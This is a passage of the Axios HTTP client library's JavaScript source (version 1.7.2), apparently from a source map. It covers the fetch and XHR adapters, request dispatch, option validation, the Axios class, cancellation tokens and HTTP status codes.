react-native.\n\n  if (platform.hasStandardBrowserEnv) {\n    withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n    if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n      // Add xsrf header\n      const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n      if (xsrfValue) {\n        headers.set(xsrfHeaderName, xsrfValue);\n      }\n    }\n  }\n\n  return newConfig;\n}\n\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport progressEventReducer from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst fetchProgressDecorator = (total, fn) => {\n  const lengthComputable = total != null;\n  return (loaded) => setTimeout(() => fn({\n    lengthComputable,\n    total,\n    loaded\n  }));\n}\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n    ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n    async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst supportsRequestStream = isReadableStreamSupported && (() => {\n  let duplexAccessed = false;\n\n  const hasContentType = new Request(platform.origin, {\n    body: new ReadableStream(),\n    method: 'POST',\n    get duplex() {\n      duplexAccessed = true;\n      return 'half';\n    },\n  }).headers.has('Content-Type');\n\n  return duplexAccessed && !hasContentType;\n})();\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported && !!(()=> {\n  try {\n    return utils.isReadableStream(new Response('').body);\n  } catch(err) {\n    // return undefined\n  }\n})();\n\nconst resolvers = {\n  stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n  ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n    !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n      (_, config) => {\n        throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n      })\n  });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n  if (body == null) {\n    return 0;\n  }\n\n  if(utils.isBlob(body)) {\n    return body.size;\n  }\n\n  if(utils.isSpecCompliantForm(body)) {\n    return (await new Request(body).arrayBuffer()).byteLength;\n  }\n\n  if(utils.isArrayBufferView(body)) {\n    return body.byteLength;\n  }\n\n  if(utils.isURLSearchParams(body)) {\n    body = body + '';\n  }\n\n  if(utils.isString(body)) {\n    return (await encodeText(body)).byteLength;\n  }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n  const length = utils.toFiniteNumber(headers.getContentLength());\n\n  return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n  let {\n    url,\n    method,\n    data,\n    signal,\n    cancelToken,\n    timeout,\n    onDownloadProgress,\n    onUploadProgress,\n    responseType,\n    headers,\n    withCredentials = 'same-origin',\n    fetchOptions\n  } = resolveConfig(config);\n\n  responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n  let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?\n    composeSignals([signal, cancelToken], timeout) : [];\n\n  let finished, request;\n\n  const onFinish = () => {\n    !finished && setTimeout(() => {\n      composedSignal && composedSignal.unsubscribe();\n    });\n\n    finished = true;\n  }\n\n  let requestContentLength;\n\n  try {\n    if (\n      onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n      (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n    ) {\n      let _request = new Request(url, {\n        method: 'POST',\n        body: data,\n        duplex: \"half\"\n      });\n\n      let contentTypeHeader;\n\n      if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n        headers.setContentType(contentTypeHeader)\n      }\n\n      if (_request.body) {\n        data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(\n          requestContentLength,\n          progressEventReducer(onUploadProgress)\n        ), null, encodeText);\n      }\n    }\n\n    if (!utils.isString(withCredentials)) {\n      withCredentials = withCredentials ? 'cors' : 'omit';\n    }\n\n    request = new Request(url, {\n      ...fetchOptions,\n      signal: composedSignal,\n      method: method.toUpperCase(),\n      headers: headers.normalize().toJSON(),\n      body: data,\n      duplex: \"half\",\n      withCredentials\n    });\n\n    let response = await fetch(request);\n\n    const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n    if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {\n      const options = {};\n\n      ['status', 'statusText', 'headers'].forEach(prop => {\n        options[prop] = response[prop];\n      });\n\n      const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n      response = new Response(\n        trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(\n          responseContentLength,\n          progressEventReducer(onDownloadProgress, true)\n        ), isStreamResponse && onFinish, encodeText),\n        options\n      );\n    }\n\n    responseType = responseType || 'text';\n\n    let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n    !isStreamResponse && onFinish();\n\n    stopTimeout && stopTimeout();\n\n    return await new Promise((resolve, reject) => {\n      settle(resolve, reject, {\n        data: responseData,\n        headers: AxiosHeaders.from(response.headers),\n        status: response.status,\n        statusText: response.statusText,\n        config,\n        request\n      })\n    })\n  } catch (err) {\n    onFinish();\n\n    if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {\n      throw Object.assign(\n        new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n        {\n          cause: err.cause || err\n        }\n      )\n    }\n\n    throw AxiosError.from(err, err && err.code, config, request);\n  }\n});\n\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport progressEventReducer from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n  return new Promise(function dispatchXhrRequest(resolve, reject) {\n    const _config = resolveConfig(config);\n    let requestData = _config.data;\n    const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n    let {responseType} = _config;\n    let onCanceled;\n    function done() {\n      if (_config.cancelToken) {\n        _config.cancelToken.unsubscribe(onCanceled);\n      }\n\n      if (_config.signal) {\n        _config.signal.removeEventListener('abort', onCanceled);\n      }\n    }\n\n    let request = new XMLHttpRequest();\n\n    request.open(_config.method.toUpperCase(), _config.url, true);\n\n    // Set the request timeout in MS\n    request.timeout = _config.timeout;\n\n    function onloadend() {\n      if (!request) {\n        return;\n      }\n      // Prepare the response\n      const responseHeaders = AxiosHeaders.from(\n        'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n      );\n      const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n        request.responseText : request.response;\n      const response = {\n        data: responseData,\n        status: request.status,\n        statusText: request.statusText,\n        headers: responseHeaders,\n        config,\n        request\n      };\n\n      settle(function _resolve(value) {\n        resolve(value);\n        done();\n      }, function _reject(err) {\n        reject(err);\n        done();\n      }, response);\n\n      // Clean up request\n      request = null;\n    }\n\n    if ('onloadend' in request) {\n      // Use onloadend if available\n      request.onloadend = onloadend;\n    } else {\n      // Listen for ready state to emulate onloadend\n      request.onreadystatechange = function handleLoad() {\n        if (!request || request.readyState !== 4) {\n          return;\n        }\n\n        // The request errored out and we didn't get a response, this will be\n        // handled by onerror instead\n        // With one exception: request that using file: protocol, most browsers\n        // will return status as 0 even though it's a successful request\n        if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n          return;\n        }\n        // readystate handler is calling before onerror or ontimeout handlers,\n        // so we should call onloadend on the next 'tick'\n        setTimeout(onloadend);\n      };\n    }\n\n    // Handle browser request cancellation (as opposed to a manual cancellation)\n    request.onabort = function handleAbort() {\n      if (!request) {\n        return;\n      }\n\n      reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle low level network errors\n    request.onerror = function handleError() {\n      // Real errors are hidden from us by the browser\n      // onerror should only fire if it's a network error\n      reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Handle timeout\n    request.ontimeout = function handleTimeout() {\n      let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n      const transitional = _config.transitional || transitionalDefaults;\n      if (_config.timeoutErrorMessage) {\n        timeoutErrorMessage = _config.timeoutErrorMessage;\n      }\n      reject(new AxiosError(\n        timeoutErrorMessage,\n        transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n        _config,\n        request));\n\n      // Clean up request\n      request = null;\n    };\n\n    // Remove Content-Type if data is undefined\n    requestData === undefined && requestHeaders.setContentType(null);\n\n    // Add headers to the request\n    if ('setRequestHeader' in request) {\n      utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n        request.setRequestHeader(key, val);\n      });\n    }\n\n    // Add withCredentials to request if needed\n    if (!utils.isUndefined(_config.withCredentials)) {\n      request.withCredentials = !!_config.withCredentials;\n    }\n\n    // Add responseType to request if needed\n    if (responseType && responseType !== 'json') {\n      request.responseType = _config.responseType;\n    }\n\n    // Handle progress if needed\n    if (typeof _config.onDownloadProgress === 'function') {\n      request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));\n    }\n\n    // Not all browsers support upload events\n    if (typeof _config.onUploadProgress === 'function' && request.upload) {\n      request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));\n    }\n\n    if (_config.cancelToken || _config.signal) {\n      // Handle cancellation\n      // eslint-disable-next-line func-names\n      onCanceled = cancel => {\n        if (!request) {\n          return;\n        }\n        reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n        request.abort();\n        request = null;\n      };\n\n      _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n      if (_config.signal) {\n        _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n      }\n    }\n\n    const protocol = parseProtocol(_config.url);\n\n    if (protocol && platform.protocols.indexOf(protocol) === -1) {\n      reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n      return;\n    }\n\n\n    // Send the request\n    request.send(requestData || null);\n  });\n}\n","'use strict';\n\nexport default function parseProtocol(url) {\n  const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n  return match && match[1] || '';\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst composeSignals = (signals, timeout) => {\n  let controller = new AbortController();\n\n  let aborted;\n\n  const onabort = function (cancel) {\n    if (!aborted) {\n      aborted = true;\n      unsubscribe();\n      const err = cancel instanceof Error ? cancel : this.reason;\n      controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n    }\n  }\n\n  let timer = timeout && setTimeout(() => {\n    onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n  }, timeout)\n\n  const unsubscribe = () => {\n    if (signals) {\n      timer && clearTimeout(timer);\n      timer = null;\n      signals.forEach(signal => {\n        signal &&\n        (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));\n      });\n      signals = null;\n    }\n  }\n\n  signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));\n\n  const {signal} = controller;\n\n  signal.unsubscribe = unsubscribe;\n\n  return [signal, () => {\n    timer && clearTimeout(timer);\n    timer = null;\n  }];\n}\n\nexport default composeSignals;\n","\n\nexport const streamChunk = function* (chunk, chunkSize) {\n  let len = chunk.byteLength;\n\n  if (!chunkSize || len < chunkSize) {\n    yield chunk;\n    return;\n  }\n\n  let pos = 0;\n  let end;\n\n  while (pos < len) {\n    end = pos + chunkSize;\n    yield chunk.slice(pos, end);\n    pos = end;\n  }\n}\n\nexport const readBytes = async function* (iterable, chunkSize, encode) {\n  for await (const chunk of iterable) {\n    yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);\n  }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {\n  const iterator = readBytes(stream, chunkSize, encode);\n\n  let bytes = 0;\n\n  return new ReadableStream({\n    type: 'bytes',\n\n    async pull(controller) {\n      const {done, value} = await iterator.next();\n\n      if (done) {\n        controller.close();\n        onFinish();\n        return;\n      }\n\n      let len = value.byteLength;\n      onProgress && onProgress(bytes += len);\n      controller.enqueue(new Uint8Array(value));\n    },\n    cancel(reason) {\n      onFinish(reason);\n      return iterator.return();\n    }\n  }, {\n    highWaterMark: 2\n  })\n}\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from './xhr.js';\nimport fetchAdapter from './fetch.js';\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst knownAdapters = {\n  http: httpAdapter,\n  xhr: xhrAdapter,\n  fetch: fetchAdapter\n}\n\nutils.forEach(knownAdapters, (fn, value) => {\n  if (fn) {\n    try {\n      Object.defineProperty(fn, 'name', {value});\n    } catch (e) {\n      // eslint-disable-next-line no-empty\n    }\n    Object.defineProperty(fn, 'adapterName', {value});\n  }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils.isFunction(adapter) || adapter === null || adapter === false;\n\nexport default {\n  getAdapter: (adapters) => {\n    adapters = utils.isArray(adapters) ? adapters : [adapters];\n\n    const {length} = adapters;\n    let nameOrAdapter;\n    let adapter;\n\n    const rejectedReasons = {};\n\n    for (let i = 0; i < length; i++) {\n      nameOrAdapter = adapters[i];\n      let id;\n\n      adapter = nameOrAdapter;\n\n      if (!isResolvedHandle(nameOrAdapter)) {\n        adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n        if (adapter === undefined) {\n          throw new AxiosError(`Unknown adapter '${id}'`);\n        }\n      }\n\n      if (adapter) {\n        break;\n      }\n\n      rejectedReasons[id || '#' + i] = adapter;\n    }\n\n    if (!adapter) {\n\n      const reasons = Object.entries(rejectedReasons)\n        .map(([id, state]) => `adapter ${id} ` +\n          (state === false ? 'is not supported by the environment' : 'is not available in the build')\n        );\n\n      let s = length ?\n        (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n        'as no adapter specified';\n\n      throw new AxiosError(\n        `There is no suitable adapter to dispatch the request ` + s,\n        'ERR_NOT_SUPPORT'\n      );\n    }\n\n    return adapter;\n  },\n  adapters: knownAdapters\n}\n","// eslint-disable-next-line strict\nexport default null;\n","'use strict';\n\nimport transformData from './transformData.js';\nimport isCancel from '../cancel/isCancel.js';\nimport defaults from '../defaults/index.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport adapters from \"../adapters/adapters.js\";\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n  if (config.cancelToken) {\n    config.cancelToken.throwIfRequested();\n  }\n\n  if (config.signal && config.signal.aborted) {\n    throw new CanceledError(null, config);\n  }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nexport default function dispatchRequest(config) {\n  throwIfCancellationRequested(config);\n\n  config.headers = AxiosHeaders.from(config.headers);\n\n  // Transform request data\n  config.data = transformData.call(\n    config,\n    config.transformRequest\n  );\n\n  if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {\n    config.headers.setContentType('application/x-www-form-urlencoded', false);\n  }\n\n  const adapter = adapters.getAdapter(config.adapter || defaults.adapter);\n\n  return adapter(config).then(function onAdapterResolution(response) {\n    throwIfCancellationRequested(config);\n\n    // Transform response data\n    response.data = transformData.call(\n      config,\n      config.transformResponse,\n      response\n    );\n\n    response.headers = AxiosHeaders.from(response.headers);\n\n    return response;\n  }, function onAdapterRejection(reason) {\n    if (!isCancel(reason)) {\n      throwIfCancellationRequested(config);\n\n      // Transform response data\n      if (reason && reason.response) {\n        reason.response.data = transformData.call(\n          config,\n          config.transformResponse,\n          reason.response\n        );\n        reason.response.headers = AxiosHeaders.from(reason.response.headers);\n      }\n    }\n\n    return Promise.reject(reason);\n  });\n}\n","export const VERSION = \"1.7.2\";","'use strict';\n\nimport {VERSION} from '../env/data.js';\nimport AxiosError from '../core/AxiosError.js';\n\nconst validators = {};\n\n// eslint-disable-next-line func-names\n['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {\n  validators[type] = function validator(thing) {\n    return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;\n  };\n});\n\nconst deprecatedWarnings = {};\n\n/**\n * Transitional option validator\n *\n * @param {function|boolean?} validator - set to false if the transitional option has been removed\n * @param {string?} version - deprecated version / removed since version\n * @param {string?} message - some message with additional info\n *\n * @returns {function}\n */\nvalidators.transitional = function transitional(validator, version, message) {\n  function formatMessage(opt, desc) {\n    return '[Axios v' + VERSION + '] Transitional option \\'' + opt + '\\'' + desc + (message ? '. ' + message : '');\n  }\n\n  // eslint-disable-next-line func-names\n  return (value, opt, opts) => {\n    if (validator === false) {\n      throw new AxiosError(\n        formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),\n        AxiosError.ERR_DEPRECATED\n      );\n    }\n\n    if (version && !deprecatedWarnings[opt]) {\n      deprecatedWarnings[opt] = true;\n      // eslint-disable-next-line no-console\n      console.warn(\n        formatMessage(\n          opt,\n          ' has been deprecated since v' + version + ' and will be removed in the near future'\n        )\n      );\n    }\n\n    return validator ? validator(value, opt, opts) : true;\n  };\n};\n\n/**\n * Assert object's properties type\n *\n * @param {object} options\n * @param {object} schema\n * @param {boolean?} allowUnknown\n *\n * @returns {object}\n */\n\nfunction assertOptions(options, schema, allowUnknown) {\n  if (typeof options !== 'object') {\n    throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);\n  }\n  const keys = Object.keys(options);\n  let i = keys.length;\n  while (i-- > 0) {\n    const opt = keys[i];\n    const validator = schema[opt];\n    if (validator) {\n      const value = options[opt];\n      const result = value === undefined || validator(value, opt, options);\n      if (result !== true) {\n        throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);\n      }\n      continue;\n    }\n    if (allowUnknown !== true) {\n      throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);\n    }\n  }\n}\n\nexport default {\n  assertOptions,\n  validators\n};\n","'use strict';\n\nimport utils from './../utils.js';\nimport buildURL from '../helpers/buildURL.js';\nimport InterceptorManager from './InterceptorManager.js';\nimport dispatchRequest from './dispatchRequest.js';\nimport mergeConfig from './mergeConfig.js';\nimport buildFullPath from './buildFullPath.js';\nimport validator from '../helpers/validator.js';\nimport AxiosHeaders from './AxiosHeaders.js';\n\nconst validators = validator.validators;\n\n/**\n * Create a new instance of Axios\n *\n * @param {Object} instanceConfig The default config for the instance\n *\n * @return {Axios} A new instance of Axios\n */\nclass Axios {\n  constructor(instanceConfig) {\n    this.defaults = instanceConfig;\n    this.interceptors = {\n      request: new InterceptorManager(),\n      response: new InterceptorManager()\n    };\n  }\n\n  /**\n   * Dispatch a request\n   *\n   * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)\n   * @param {?Object} config\n   *\n   * @returns {Promise} The Promise to be fulfilled\n   */\n  async request(configOrUrl, config) {\n    try {\n      return await this._request(configOrUrl, config);\n    } catch (err) {\n      if (err instanceof Error) {\n        let dummy;\n\n        Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error());\n\n        // slice off the Error: ... line\n        const stack = dummy.stack ? dummy.stack.replace(/^.+\\n/, '') : '';\n        try {\n          if (!err.stack) {\n            err.stack = stack;\n            // match without the 2 top stack lines\n          } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\\n.+\\n/, ''))) {\n            err.stack += '\\n' + stack\n          }\n        } catch (e) {\n          // ignore the case where \"stack\" is an un-writable property\n        }\n      }\n\n      throw err;\n    }\n  }\n\n  _request(configOrUrl, config) {\n    /*eslint no-param-reassign:0*/\n    // Allow for axios('example/url'[, config]) a la fetch API\n    if (typeof configOrUrl === 'string') {\n      config = config || {};\n      config.url = configOrUrl;\n    } else {\n      config = configOrUrl || {};\n    }\n\n    config = mergeConfig(this.defaults, config);\n\n    const {transitional, paramsSerializer, headers} = config;\n\n    if (transitional !== undefined) {\n      validator.assertOptions(transitional, {\n        silentJSONParsing: validators.transitional(validators.boolean),\n        forcedJSONParsing: validators.transitional(validators.boolean),\n        clarifyTimeoutError: validators.transitional(validators.boolean)\n      }, false);\n    }\n\n    if (paramsSerializer != null) {\n      if (utils.isFunction(paramsSerializer)) {\n        config.paramsSerializer = {\n          serialize: paramsSerializer\n        }\n      } else {\n        validator.assertOptions(paramsSerializer, {\n          encode: validators.function,\n          serialize: validators.function\n        }, true);\n      }\n    }\n\n    // Set config.method\n    config.method = (config.method || this.defaults.method || 'get').toLowerCase();\n\n    // Flatten headers\n    let contextHeaders = headers && utils.merge(\n      headers.common,\n      headers[config.method]\n    );\n\n    headers && utils.forEach(\n      ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],\n      (method) => {\n        delete headers[method];\n      }\n    );\n\n    config.headers = AxiosHeaders.concat(contextHeaders, headers);\n\n    // filter out skipped interceptors\n    const requestInterceptorChain = [];\n    let synchronousRequestInterceptors = true;\n    this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {\n      if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {\n        return;\n      }\n\n      synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;\n\n      requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);\n    });\n\n    const responseInterceptorChain = [];\n    this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {\n      responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);\n    });\n\n    let promise;\n    let i = 0;\n    let len;\n\n    if (!synchronousRequestInterceptors) {\n      const chain = [dispatchRequest.bind(this), undefined];\n      chain.unshift.apply(chain, requestInterceptorChain);\n      chain.push.apply(chain, responseInterceptorChain);\n      len = chain.length;\n\n      promise = Promise.resolve(config);\n\n      while (i < len) {\n        promise = promise.then(chain[i++], chain[i++]);\n      }\n\n      return promise;\n    }\n\n    len = requestInterceptorChain.length;\n\n    let newConfig = config;\n\n    i = 0;\n\n    while (i < len) {\n      const onFulfilled = requestInterceptorChain[i++];\n      const onRejected = requestInterceptorChain[i++];\n      try {\n        newConfig = onFulfilled(newConfig);\n      } catch (error) {\n        onRejected.call(this, error);\n        break;\n      }\n    }\n\n    try {\n      promise = dispatchRequest.call(this, newConfig);\n    } catch (error) {\n      return Promise.reject(error);\n    }\n\n    i = 0;\n    len = responseInterceptorChain.length;\n\n    while (i < len) {\n      promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);\n    }\n\n    return promise;\n  }\n\n  getUri(config) {\n    config = mergeConfig(this.defaults, config);\n    const fullPath = buildFullPath(config.baseURL, config.url);\n    return buildURL(fullPath, config.params, config.paramsSerializer);\n  }\n}\n\n// Provide aliases for supported request methods\nutils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {\n  /*eslint func-names:0*/\n  Axios.prototype[method] = function(url, config) {\n    return this.request(mergeConfig(config || {}, {\n      method,\n      url,\n      data: (config || {}).data\n    }));\n  };\n});\n\nutils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {\n  /*eslint func-names:0*/\n\n  function generateHTTPMethod(isForm) {\n    return function httpMethod(url, data, config) {\n      return this.request(mergeConfig(config || {}, {\n        method,\n        headers: isForm ? {\n          'Content-Type': 'multipart/form-data'\n        } : {},\n        url,\n        data\n      }));\n    };\n  }\n\n  Axios.prototype[method] = generateHTTPMethod();\n\n  Axios.prototype[method + 'Form'] = generateHTTPMethod(true);\n});\n\nexport default Axios;\n","'use strict';\n\nimport CanceledError from './CanceledError.js';\n\n/**\n * A `CancelToken` is an object that can be used to request cancellation of an operation.\n *\n * @param {Function} executor The executor function.\n *\n * @returns {CancelToken}\n */\nclass CancelToken {\n  constructor(executor) {\n    if (typeof executor !== 'function') {\n      throw new TypeError('executor must be a function.');\n    }\n\n    let resolvePromise;\n\n    this.promise = new Promise(function promiseExecutor(resolve) {\n      resolvePromise = resolve;\n    });\n\n    const token = this;\n\n    // eslint-disable-next-line func-names\n    this.promise.then(cancel => {\n      if (!token._listeners) return;\n\n      let i = token._listeners.length;\n\n      while (i-- > 0) {\n        token._listeners[i](cancel);\n      }\n      token._listeners = null;\n    });\n\n    // eslint-disable-next-line func-names\n    this.promise.then = onfulfilled => {\n      let _resolve;\n      // eslint-disable-next-line func-names\n      const promise = new Promise(resolve => {\n        token.subscribe(resolve);\n        _resolve = resolve;\n      }).then(onfulfilled);\n\n      promise.cancel = function reject() {\n        token.unsubscribe(_resolve);\n      };\n\n      return promise;\n    };\n\n    executor(function cancel(message, config, request) {\n      if (token.reason) {\n        // Cancellation has already been requested\n        return;\n      }\n\n      token.reason = new CanceledError(message, config, request);\n      resolvePromise(token.reason);\n    });\n  }\n\n  /**\n   * Throws a `CanceledError` if cancellation has been requested.\n   */\n  throwIfRequested() {\n    if (this.reason) {\n      throw this.reason;\n    }\n  }\n\n  /**\n   * Subscribe to the cancel signal\n   */\n\n  subscribe(listener) {\n    if (this.reason) {\n      listener(this.reason);\n      return;\n    }\n\n    if (this._listeners) {\n      this._listeners.push(listener);\n    } else {\n      this._listeners = [listener];\n    }\n  }\n\n  /**\n   * Unsubscribe from the cancel signal\n   */\n\n  unsubscribe(listener) {\n    if (!this._listeners) {\n      return;\n    }\n    const index = this._listeners.indexOf(listener);\n    if (index !== -1) {\n      this._listeners.splice(index, 1);\n    }\n  }\n\n  /**\n   * Returns an object that contains a new `CancelToken` and a function that, when called,\n   * cancels the `CancelToken`.\n   */\n  static source() {\n    let cancel;\n    const token = new CancelToken(function executor(c) {\n      cancel = c;\n    });\n    return {\n      token,\n      cancel\n    };\n  }\n}\n\nexport default CancelToken;\n","const HttpStatusCode = {\n  Continue: 100,\n  SwitchingProtocols: 101,\n  Processing: 102,\n  EarlyHints: 103,\n  Ok: 200,\n  Created: 201,\n  Accepted: 202,\n  NonAuthoritativeInformation: 203,\n  NoContent: 204,\n  ResetContent: 205,\n  PartialContent: 206,\n  MultiStatus: 207,\n  AlreadyReported: 208,\n  ImUsed: 226,\n  MultipleChoices: 300,\n  MovedPermanently: 301,\n  Found: 302,\n  SeeOther: 303,\n  NotModified: 304,\n  UseProxy: 305,\n  Unused: 306,\n  TemporaryRedirect: 307,\n  PermanentRedirect: 308,\n  BadRequest: 400,\n  Unauthorized: 401,\n  PaymentRequired: 402,\n  Forbidden: 403,\n  NotFound: 404,\n  MethodNotAllowed: 405,\n  NotAcceptable: 406,\n  ProxyAuthenticationRequired: 407,\n  RequestTimeout: 408,\n  Conflict: 409,\n  Gone: 410,\n  LengthRequired: 411,\n  PreconditionFailed: 412,\n  PayloadTooLarge: 413,\n  UriTooLong: 414,\n  UnsupportedMediaType: 415,\n  RangeNotSatisfiable: 416,\n  ExpectationFailed: 417,\n  ImATeapot: 418,\n  MisdirectedRequest: 421,\n  UnprocessableEntity: 422,\n  Locked: 423,\n  FailedDependency: 424,\n  TooEarly: 425,\n  UpgradeRequired: 426,\n  PreconditionRequired: 428,\n  TooManyRequests: 429,\n  RequestHeaderFieldsTooLarge: 431,\n  UnavailableForLegalReasons: 451,\n  InternalServerError: 500,\n  NotImplemented: 501,\n  BadGateway: 502,\n  ServiceUnavailable: 503,\n  GatewayTimeout: 504,\n  HttpVersionNotSupported: 505,\n  VariantAlsoNegotiates: 506,\n  InsufficientStorage: 507,\n  LoopDetected: 508,\n  NotExtended: 510,\n  NetworkAuthenticationRequired: 511,\n};\n\nObject.entries(HttpStatusCode).forEach(([key, value]) => {\n  HttpStatusCode[value] = key;\n});\n\nexport default HttpStatusCode;\n","'use strict';\n\nimport utils from './utils.js';\nimport bind from './helpers/bind.js';\nimport Axios from './core/Axios.js';\nimport mergeConfig from './core/mergeConfig.js';\nimport defaults from './defaults/index.js';\nimport formDataToJSON from './helpers/formDataToJSON.js';\nimport CanceledError from './cancel/CanceledError.js';\nimport CancelToken from './cancel/CancelToken.js';\nimport isCancel from './cancel/isCancel.js';\nimport {VERSION} from './env/data.js';\nimport toFormData from './helpers/toFormData.js';\nimport AxiosError from './core/AxiosError.js';\nimport spread from './helpers/spread.js';\nimport isAxiosError from './helpers/isAxiosError.js';\nimport AxiosHeaders from \"./core/AxiosHeaders.js\";\nimport adapters from './adapters/adapters.js';\nimport HttpStatusCode from './helpers/HttpStatusCode.js';\n\n/**\n * Create an instance of Axios\n *\n * @param 